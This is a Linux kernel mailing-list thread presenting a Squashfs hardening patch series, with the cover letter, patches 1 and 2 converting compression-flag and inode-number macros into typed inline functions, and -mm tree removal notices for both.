Squashfs: fix a lot of AI issues and AI style issues
Subsystems (2)
Phillip Lougher
maintainerv2 cover Squashfs: fix a lot of AI issues and AI style issues
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
In all cases (except patches 17, 18 and 19) the patches deal with over-sights relating to variable overflow, arithmetic overflow, variable signedness or just lack of sanity checking of data read from disk. These can cause the code to fail, and which could be used as a potential exploit.
Patches 17, 18, and 19 fix potential excessive memory use exploits. The code in question was written in the early days when Squashfs filesystems were small, but with very large filesystems it could try to allocate memory in excess of 4 MiB, and up to 64 MiB.
The patches can be broken down as follows:
Patches 1 - 6 are preparatory patches. They convert old fashioned #define macros into inline functions. These being typed make widths and signedness explicit, and allow additional checking to be added in later patches.
Patch 7 fixes an incorrect offset value in TRACE statements in squashfs_read_inode(). This new to this V2 patch-set.
Patches 8 - 16 fix various issues relating to variable overflow, arithmetic overflow and add additional sanity checking to prevent these issues from occurring.
Patches 17 - 19 remove the excessive allocation of memory by introducing caches, which limit the maximum usage to 4 pages.
Patches 20 - 21 are new to this V2 patch-set. They deal with some issues Sashiko reported in the original patch-set.
Patch 22 is also new to this V2 patch-set. It adds an additional belts and braces sanity check.
Patches 8 - 20 have reproducers which show how the existing code faults can be exploited, in some cases which can allow a Squashfs filesystem to be tampered with to make files readable by unprivileged users.
BTW checkpatch.pl complains about the '#' lines in the BASH script reproducers. Let me know if that will cause problems.
fs/squashfs/block.c | 20 ++- fs/squashfs/cache.c | 8 +- fs/squashfs/dir.c | 91 ++++++++--- fs/squashfs/export.c | 146 ++++++++++++----- fs/squashfs/file.c | 89 ++++++---- fs/squashfs/fragment.c | 113 ++++++++++--- fs/squashfs/id.c | 9 +- fs/squashfs/inode.c | 73 +++++---- fs/squashfs/namei.c | 116 +++++++++---- fs/squashfs/squashfs.h | 9 +- fs/squashfs/squashfs_fs.h | 101 ------------ fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/squashfs_fs_sb.h | 25 ++- fs/squashfs/squashfs_helpers.h | 363 +++++++++++++++++++++++++++++++++++++++++ fs/squashfs/super.c | 96 +++++++---- fs/squashfs/xattr.c | 49 ++++-- fs/squashfs/xattr.h | 21 ++- fs/squashfs/xattr_id.c | 173 ++++++++++++++------ 18 files changed, 1099 insertions(+), 405 deletions(-)
Phillip
---
Squashfs maintainer and author
Phillip Lougher
maintainerPATCH v2 1/22 Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/block.c | 11 ++++++----- fs/squashfs/cache.c | 1 + fs/squashfs/file.c | 3 ++- fs/squashfs/squashfs_fs.h | 17 ----------------- fs/squashfs/squashfs_helpers.h | 35 ++++++++++++++++++++++++++++++++++ 5 files changed, 44 insertions(+), 23 deletions(-) create mode 100644 fs/squashfs/squashfs_helpers.h
fs/squashfs/block.c +6 -5
@@ -23,6 +23,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "page_actor.h"
@@ -292,7 +293,7 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length, {struct squashfs_sb_info *msblk = sb->s_fs_info;struct bio *bio =NULL ; -int compressed; +bool compressed;int res;int offset;
@@ -300,8 +301,8 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,/* * Datablock. */ - compressed =SQUASHFS_COMPRESSED_BLOCK (length); - length =SQUASHFS_COMPRESSED_SIZE_BLOCK (length); + compressed =squashfs_compressed_block (length); + length =squashfs_compressed_size_block (length);TRACE ("Block @ 0x%llx, %scompressed size %d, src size %d\n" , index, compressed ?"" :"un" , length, output->length); }else {
@@ -341,8 +342,8 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,bio_uninit (bio);kfree (bio); - compressed =SQUASHFS_COMPRESSED (length); - length =SQUASHFS_COMPRESSED_SIZE (length); + compressed =squashfs_compressed (length); + length =squashfs_compressed_size (length); index +=2 ; TRACE("Block @ 0x%llx, %scompressed size %d\n", index - 2,
fs/squashfs/cache.c +1 -0
@@ -42,6 +42,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h"
fs/squashfs/file.c +2 -1
@@ -39,6 +39,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h"
@@ -188,7 +189,7 @@ static long long read_indexes(struct super_block *sb, int n, err = size; goto failure; } - block +=SQUASHFS_COMPRESSED_SIZE_BLOCK (size); + block +=squashfs_compressed_size_block (size); } n -= blocks; }
fs/squashfs/squashfs_fs.h +0 -17
@@ -101,22 +101,6 @@#define SQUASHFS_XATTR_VALUE_OOL 256#define SQUASHFS_XATTR_PREFIX_MASK 0xff -/* Flag whether block is compressed or uncompressed, bit is set if block is -* uncompressed */ -#define SQUASHFS_COMPRESSED_BIT (1 << 15) - -#define SQUASHFS_COMPRESSED_SIZE (B ) (((B) & ~SQUASHFS_COMPRESSED_BIT) ? \ - (B) & ~SQUASHFS_COMPRESSED_BIT : SQUASHFS_COMPRESSED_BIT) - -#define SQUASHFS_COMPRESSED (B ) (!((B) & SQUASHFS_COMPRESSED_BIT)) - -#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) - -#define SQUASHFS_COMPRESSED_SIZE_BLOCK (B ) ((B) & \ - ~SQUASHFS_COMPRESSED_BIT_BLOCK) - -#define SQUASHFS_COMPRESSED_BLOCK (B ) (!((B) & SQUASHFS_COMPRESSED_BIT_BLOCK)) -static inline int squashfs_block_size (__le32 raw) {u32 size =le32_to_cpu (raw);
@@ -449,5 +433,4 @@ struct squashfs_xattr_id_table {__le32 xattr_ids; __le32 unused; }; -#endif
fs/squashfs/squashfs_helpers.h new file +35 -0
@@ -0,0 +1,35 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ +#ifndef SQUASHFS_HELPERS_H +#define SQUASHFS_HELPERS_H +/* +* Copyright (c) 2026 +* Phillip Lougher <[email protected]> +*/ + +/* Flag whether block is compressed or uncompressed, bit is set if block is +* uncompressed +*/ +#define SQUASHFS_COMPRESSED_BIT (1 << 15) + +static inline s16 squashfs_compressed_size (s16 size) +{ +return size & ~SQUASHFS_COMPRESSED_BIT ; +} + +static inline bool squashfs_compressed (s16 size) +{ +return (size &SQUASHFS_COMPRESSED_BIT ) ==0 ; +} + +#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) + +static inline s32 squashfs_compressed_size_block (s32 size) +{ +return size & ~SQUASHFS_COMPRESSED_BIT_BLOCK ; +} + +static inline bool squashfs_compressed_block (s32 size) +{ +return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; +} +#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-convert-squashfs_compressed_-to-inline-functions.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
has been removed from the -mm tree. Its filename was
squashfs-convert-squashfs_compressed_-to-inline-functions.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
Date: Wed, 11 Nov 2026 23:43:41 +0000
Patch series "Squashfs: fix a lot of AI issues and AI style issues", v2.
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
In all cases (except patches 17, 18 and 19) the patches deal with over-sights relating to variable overflow, arithmetic overflow, variable signedness or just lack of sanity checking of data read from disk. These can cause the code to fail, and which could be used as a potential exploit.
Patches 17, 18, and 19 fix potential excessive memory use exploits. The code in question was written in the early days when Squashfs filesystems were small, but with very large filesystems it could try to allocate memory in excess of 4 MiB, and up to 64 MiB.
The patches can be broken down as follows:
Patches 1 - 6 are preparatory patches. They convert old fashioned #define macros into inline functions. These being typed make widths and signedness explicit, and allow additional checking to be added in later patches.
Patch 7 fixes an incorrect offset value in TRACE statements in squashfs_read_inode(). This new to this V2 patch-set.
Patches 8 - 16 fix various issues relating to variable overflow, arithmetic overflow and add additional sanity checking to prevent these issues from occurring.
Patches 17 - 19 remove the excessive allocation of memory by introducing caches, which limit the maximum usage to 4 pages.
Patches 20 - 21 are new to this V2 patch-set. They deal with some issues Sashiko reported in the original patch-set.
Patch 22 is also new to this V2 patch-set. It adds an additional belts and braces sanity check.
Patches 8 - 20 have reproducers which show how the existing code faults can be exploited, in some cases which can allow a Squashfs filesystem to be tampered with to make files readable by unprivileged users.
This patch (of 22):
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/block.c | 11 +++++---- fs/squashfs/cache.c | 1 fs/squashfs/file.c | 3 +- fs/squashfs/squashfs_fs.h | 17 --------------- fs/squashfs/squashfs_helpers.h | 35 +++++++++++++++++++++++++++++++ 5 files changed, 44 insertions(+), 23 deletions(-)
fs/squashfs/block.c renamed from fs/squashfs/block.c~squashfs-convert-squashfs_compressed_-to-inline-functions +6 -5
@@ -23,6 +23,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "page_actor.h"
@@ -292,7 +293,7 @@ int squashfs_read_data(struct super_bloc {struct squashfs_sb_info *msblk = sb->s_fs_info;struct bio *bio =NULL ; -int compressed; +bool compressed;int res;int offset;
@@ -300,8 +301,8 @@ int squashfs_read_data(struct super_bloc/* * Datablock. */ - compressed =SQUASHFS_COMPRESSED_BLOCK (length); - length =SQUASHFS_COMPRESSED_SIZE_BLOCK (length); + compressed =squashfs_compressed_block (length); + length =squashfs_compressed_size_block (length);TRACE ("Block @ 0x%llx, %scompressed size %d, src size %d\n" , index, compressed ?"" :"un" , length, output->length); }else {
@@ -341,8 +342,8 @@ int squashfs_read_data(struct super_blocbio_uninit (bio);kfree (bio); - compressed =SQUASHFS_COMPRESSED (length); - length =SQUASHFS_COMPRESSED_SIZE (length); + compressed =squashfs_compressed (length); + length =squashfs_compressed_size (length); index +=2 ; TRACE("Block @ 0x%llx, %scompressed size %d\n", index - 2,
fs/squashfs/cache.c renamed from fs/squashfs/cache.c~squashfs-convert-squashfs_compressed_-to-inline-functions +1 -0
@@ -42,6 +42,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h"
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-convert-squashfs_compressed_-to-inline-functions +2 -1
@@ -39,6 +39,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "page_actor.h"
@@ -188,7 +189,7 @@ static long long read_indexes(struct sup err = size; goto failure; } - block +=SQUASHFS_COMPRESSED_SIZE_BLOCK (size); + block +=squashfs_compressed_size_block (size); } n -= blocks; }
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_compressed_-to-inline-functions +0 -17
@@ -101,22 +101,6 @@#define SQUASHFS_XATTR_VALUE_OOL 256#define SQUASHFS_XATTR_PREFIX_MASK 0xff -/* Flag whether block is compressed or uncompressed, bit is set if block is -* uncompressed */ -#define SQUASHFS_COMPRESSED_BIT (1 << 15) - -#define SQUASHFS_COMPRESSED_SIZE (B ) (((B) & ~SQUASHFS_COMPRESSED_BIT) ? \ - (B) & ~SQUASHFS_COMPRESSED_BIT : SQUASHFS_COMPRESSED_BIT) - -#define SQUASHFS_COMPRESSED (B ) (!((B) & SQUASHFS_COMPRESSED_BIT)) - -#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) - -#define SQUASHFS_COMPRESSED_SIZE_BLOCK (B ) ((B) & \ - ~SQUASHFS_COMPRESSED_BIT_BLOCK) - -#define SQUASHFS_COMPRESSED_BLOCK (B ) (!((B) & SQUASHFS_COMPRESSED_BIT_BLOCK)) -static inline int squashfs_block_size (__le32 raw) {u32 size =le32_to_cpu (raw);
@@ -449,5 +433,4 @@ struct squashfs_xattr_id_table {__le32 xattr_ids; __le32 unused; }; -#endif
fs/squashfs/squashfs_helpers.h new file +35 -0
@@ -0,0 +1,35 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ +#ifndef SQUASHFS_HELPERS_H +#define SQUASHFS_HELPERS_H +/* +* Copyright (c) 2026 +* Phillip Lougher <[email protected]> +*/ + +/* Flag whether block is compressed or uncompressed, bit is set if block is +* uncompressed +*/ +#define SQUASHFS_COMPRESSED_BIT (1 << 15) + +static inline s16 squashfs_compressed_size (s16 size) +{ +return size & ~SQUASHFS_COMPRESSED_BIT ; +} + +static inline bool squashfs_compressed (s16 size) +{ +return (size &SQUASHFS_COMPRESSED_BIT ) ==0 ; +} + +#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24) + +static inline s32 squashfs_compressed_size_block (s32 size) +{ +return size & ~SQUASHFS_COMPRESSED_BIT_BLOCK ; +} + +static inline bool squashfs_compressed_block (s32 size) +{ +return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; +} +#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 2/22 Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
---
v2: Remove squashfs_inode_offset() additions to TRACE statements.
This is now a separate patch.
---
fs/squashfs/inode.c | 24 +++++++++++++----------- fs/squashfs/namei.c | 3 ++- fs/squashfs/squashfs_fs.h | 11 ----------- fs/squashfs/squashfs_helpers.h | 19 +++++++++++++++++++ fs/squashfs/super.c | 3 ++- 5 files changed, 36 insertions(+), 24 deletions(-)
fs/squashfs/inode.c +13 -11
@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -108,8 +109,9 @@ int squashfs_read_inode(struct inode *inode, long long ino) {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; -int err, type, offset =SQUASHFS_INODE_OFFSET (ino); +u64 block =squashfs_inode_blk (ino) + msblk->inode_table; +int offset =squashfs_inode_offset (ino); +int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;int xattr_id =SQUASHFS_INVALID_XATTR ;
@@ -128,8 +130,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err) goto failed_read; - block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; - offset =SQUASHFS_INODE_OFFSET (ino); + block =squashfs_inode_blk (ino) + msblk->inode_table; + offset =squashfs_inode_offset (ino); type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {
@@ -181,7 +183,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }
@@ -241,7 +243,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }
@@ -264,7 +266,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -SQUASHFS_INODE_BLK (ino), offset, +squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -291,7 +293,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -335,7 +337,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset, block, offset);break ; }
@@ -359,7 +361,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :
@@ -384,7 +386,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_FIFO_TYPE :
fs/squashfs/namei.c +2 -1
@@ -49,6 +49,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -197,7 +198,7 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry, off =le16_to_cpu (dire->offset); ino_num =le32_to_cpu (dirh.inode_number) + (short )le16_to_cpu (dire->inode_number); - ino =SQUASHFS_MKINODE (blk, off); + ino =squashfs_mkinode (blk, off); TRACE("calling squashfs_iget for directory " "entry %s, inode %x:%x, %d\n", name,
fs/squashfs/squashfs_fs.h +0 -11
@@ -107,17 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* -* Inode number ops. Inodes consist of a compressed block number, and an -* uncompressed offset within that block -*/ -#define SQUASHFS_INODE_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_INODE_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) - -#define SQUASHFS_MKINODE (A ,B ) ((long long)(((long long) (A)\ - << 16) + (B))) -/* fragment and fragment table defines */ #define SQUASHFS_FRAGMENT_BYTES (A ) \ ((A) * sizeof(struct squashfs_fragment_entry))
fs/squashfs/squashfs_helpers.h +19 -0
@@ -32,4 +32,23 @@ static inline bool squashfs_compressed_block(s32 size) {return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; } + +/* +* Inode number ops. Inodes consist of a compressed block number, and an +* uncompressed offset within that block +*/ +static inline u32 squashfs_inode_blk (s64 inode) +{ +return inode >>16 ; +} + +static inline u16 squashfs_inode_offset (s64 inode) +{ +return inode &0xffff ; +} + +static inline s64 squashfs_mkinode (u32 start,u16 offset) +{ +return ((s64 )start <<16 ) | offset; +}#endif
fs/squashfs/super.c +2 -1
@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "xattr.h"
@@ -286,7 +287,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)/* Check the root inode for sanity */ root_inode =le64_to_cpu (sblk->root_inode); -if (SQUASHFS_INODE_OFFSET (root_inode) >SQUASHFS_METADATA_SIZE ) +if (squashfs_inode_offset (root_inode) >SQUASHFS_METADATA_SIZE ) goto insanity; msblk->inode_table =le64_to_cpu (sblk->inode_table_start);
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
has been removed from the -mm tree. Its filename was
squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
Date: Wed, 11 Nov 2026 23:43:42 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/inode.c | 24 +++++++++++++----------- fs/squashfs/namei.c | 3 ++- fs/squashfs/squashfs_fs.h | 11 ----------- fs/squashfs/squashfs_helpers.h | 19 +++++++++++++++++++ fs/squashfs/super.c | 3 ++- 5 files changed, 36 insertions(+), 24 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +13 -11
@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -108,8 +109,9 @@ int squashfs_read_inode(struct inode *in {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; -int err, type, offset =SQUASHFS_INODE_OFFSET (ino); +u64 block =squashfs_inode_blk (ino) + msblk->inode_table; +int offset =squashfs_inode_offset (ino); +int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;int xattr_id =SQUASHFS_INVALID_XATTR ;
@@ -128,8 +130,8 @@ int squashfs_read_inode(struct inode *inif (err) goto failed_read; - block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; - offset =SQUASHFS_INODE_OFFSET (ino); + block =squashfs_inode_blk (ino) + msblk->inode_table; + offset =squashfs_inode_offset (ino); type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {
@@ -181,7 +183,7 @@ int squashfs_read_inode(struct inode *in inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }
@@ -241,7 +243,7 @@ int squashfs_read_inode(struct inode *in inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }
@@ -264,7 +266,7 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -SQUASHFS_INODE_BLK (ino), offset, +squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -291,7 +293,7 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -335,7 +337,7 @@ int squashfs_read_inode(struct inode *in }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset, block, offset);break ; }
@@ -359,7 +361,7 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :
@@ -384,7 +386,7 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_FIFO_TYPE :
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +2 -1
@@ -49,6 +49,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -197,7 +198,7 @@ static struct dentry *squashfs_lookup(st off =le16_to_cpu (dire->offset); ino_num =le32_to_cpu (dirh.inode_number) + (short )le16_to_cpu (dire->inode_number); - ino =SQUASHFS_MKINODE (blk, off); + ino =squashfs_mkinode (blk, off); TRACE("calling squashfs_iget for directory " "entry %s, inode %x:%x, %d\n", name,
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +0 -11
@@ -107,17 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* -* Inode number ops. Inodes consist of a compressed block number, and an -* uncompressed offset within that block -*/ -#define SQUASHFS_INODE_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_INODE_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) - -#define SQUASHFS_MKINODE (A ,B ) ((long long)(((long long) (A)\ - << 16) + (B))) -/* fragment and fragment table defines */ #define SQUASHFS_FRAGMENT_BYTES (A ) \ ((A) * sizeof(struct squashfs_fragment_entry))
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +19 -0
@@ -32,4 +32,23 @@ static inline bool squashfs_compressed_b {return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; } + +/* +* Inode number ops. Inodes consist of a compressed block number, and an +* uncompressed offset within that block +*/ +static inline u32 squashfs_inode_blk (s64 inode) +{ +return inode >>16 ; +} + +static inline u16 squashfs_inode_offset (s64 inode) +{ +return inode &0xffff ; +} + +static inline s64 squashfs_mkinode (u32 start,u16 offset) +{ +return ((s64 )start <<16 ) | offset; +}#endif
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +2 -1
@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "xattr.h"
@@ -286,7 +287,7 @@ static int squashfs_fill_super(struct su/* Check the root inode for sanity */ root_inode =le64_to_cpu (sblk->root_inode); -if (SQUASHFS_INODE_OFFSET (root_inode) >SQUASHFS_METADATA_SIZE ) +if (squashfs_inode_offset (root_inode) >SQUASHFS_METADATA_SIZE ) goto insanity; msblk->inode_table =le64_to_cpu (sblk->inode_table_start);
_
Patches currently in -mm which might be from [email protected] are
